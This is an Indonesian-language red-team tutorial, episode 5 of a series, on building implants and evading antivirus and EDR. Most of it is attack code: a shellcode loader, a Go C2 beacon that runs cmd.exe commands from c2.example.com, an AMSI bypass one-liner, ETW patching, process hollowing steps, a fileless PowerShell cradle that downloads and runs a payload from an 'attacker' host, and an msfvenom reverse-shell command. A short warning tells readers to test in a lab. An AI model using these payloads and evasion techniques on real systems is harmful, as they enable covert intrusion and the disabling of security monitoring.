Belajar Red Team Operator - Payload Development & Evasion

#Pendahuluan

Setelah di episode 4 kita mempelajari C2 infrastructure — team server, redirectors, dan C2 profiles — pada episode ini kita masuk ke payload development & evasion: bagaimana membuat implant yang bisa bertahan dari deteksi AV/EDR.

Dalam red team, payload harus memenuhi tiga syarat: (1) bisa execute di target, (2) bisa establish C2 communication, dan (3) tidak terdeteksi oleh defenses. Ketiga syarat ini seringkali bertentangan satu sama lain — dan kalian harus menemukan keseimbangan.

#Custom Implant Development

#Shellcode Loader

// Simple shellcode loader (C)
#include <windows.h>
 
int main() {
    unsigned char shellcode[] = "\xfc\x48\x83...";
    
    // Allocate memory
    void *exec_mem = VirtualAlloc(0, sizeof(shellcode), 
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    // Copy shellcode
    memcpy(exec_mem, shellcode, sizeof(shellcode));
    
    // Change protection & execute
    DWORD old_protect;
    VirtualProtect(exec_mem, sizeof(shellcode), 
        PAGE_EXECUTE_READ, &old_protect);
    
    ((void(*)())exec_mem)();
    return 0;
}

#Go-Based Implant

// Simple HTTPS C2 implant concept
package main
 
import (
    "net/http"
    "os/exec"
    "time"
)
 
func main() {
    for {
        // Check-in with C2
        resp, _ := http.Get("https://c2.example.com/checkin")
        
        if resp.StatusCode == 200 {
            // Execute command
            cmd := exec.Command("cmd.exe", "/c", command)
            output, _ := cmd.CombinedOutput()
            
            // Send output back
            http.Post("https://c2.example.com/output", 
                "text/plain", bytes.NewBuffer(output))
        }
        
        time.Sleep(300 * time.Second)  // 5 min sleep
    }
}

#Packing & Obfuscation

#PE Packer

text

Packer Options
================
1. UPX (free, widely detected)
2. Themida (commercial, strong)
3. VMProtect (commercial, virtualization)
4. Custom packers (best evasion, most effort)

#String Obfuscation

// ❌ Easy to detect
char cmd[] = "cmd.exe /c whoami";
 
// ✅ Obfuscated (compile-time)
char cmd[] = { 'c'^0x42, 'm'^0x42, 'd'^0x42, ... };
 
// ✅ Runtime decryption
char encrypted[] = { 0x1a, 0x2b, 0x3c, ... };
for(int i=0; i<sizeof(encrypted); i++) {
    encrypted[i] ^= 0x42;
}

#AV/EDR Evasion

#AMSI Bypass

powershell

# PowerShell 5.1 bypass
$a=[Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$f.SetValue($null,[IntPtr]::Zero)
 
# .NET Reflection
[Reflection.Assembly]::LoadWithPartialName('Microsoft.PowerShell.Commands.Management')

#ETW Bypass

// Patch ETW (Event Tracing for Windows)
// Disable logging ke SIEM
 
HMODULE hNtdll = GetModuleHandle("ntdll.dll");
FARPROC pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
 
// Patch first byte
DWORD oldProtect;
VirtualProtect(pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(char*)pEtwEventWrite = 0xc3;  // RET instruction
VirtualProtect(pEtwEventWrite, 1, oldProtect, &oldProtect);

#Process Injection

// Process Hollowing concept
// 1. Create suspended process
CreateProcess("C:\\target.exe", ..., CREATE_SUSPENDED, ...);
 
// 2. Unmap original code
NtUnmapViewOfSection(processHandle, baseAddress);
 
// 3. Allocate new memory
VirtualAllocEx(processHandle, ...);
 
// 4. Write malicious code
WriteProcessMemory(processHandle, ...);
 
// 5. Set thread context & resume
SetThreadContext(processHandle, ...);
ResumeThread(processHandle);

#Fileless Execution

powershell

# PowerShell cradle (no file touches disk)
IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')
 
# Or using environment variable
$env:payload = (New-Object Net.WebClient).DownloadData('http://attacker/shellcode.bin')
[Runtime.InteropServices.Marshal]::Copy($env:payload, 0, [IntPtr]::Zero, $env:payload.Length)

Warning

Evasion techniques berkembang sangat cepat. Apa yang berhasil hari ini mungkin tidak berhasil minggu depan. Selalu test di lab dengan AV/EDR terbaru sebelum menggunakannya dalam engagement.

#Donut — Shellcode Generator

bash

# Install donut
go install github.com/TheWover/donut@latest
 
# Generate shellcode dari .NET assembly
donut -f payload.cs -o payload.bin
 
# Generate dari exe
donut -f payload.exe -o shellcode.bin
 
# Inject shellcode ke process
# (gunakan custom loader atau shellcode_exec)

#Praktik: Payload Lab

bash

# 1. Generate shellcode dengan msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker -f raw -o shellcode.bin
 
# 2. Buat simple loader (C/Go)
# 3. Compile
# 4. Test di lab dengan Windows Defender aktif
# 5. Jika terdeteksi → modifikasi → test ulang
# 6. Catat: teknik apa yang berhasil

#Penutup

Inti yang harus dibawa pulang:

Custom implants: shellcode loaders, Go-based C2, minimal dependencies.
Packing: UPX, Themida, VMProtect, custom packers.
AV/EDR evasion: AMSI bypass, ETW patching, process injection, fileless execution.
Donut: shellcode generator untuk .NET dan executables.

Di episode 6 selanjutnya, kita akan mempelajari lateral movement & pivoting — Pass-the-Hash, PSRemoting, tunneling, dan technique untuk bergerak di network enterprise.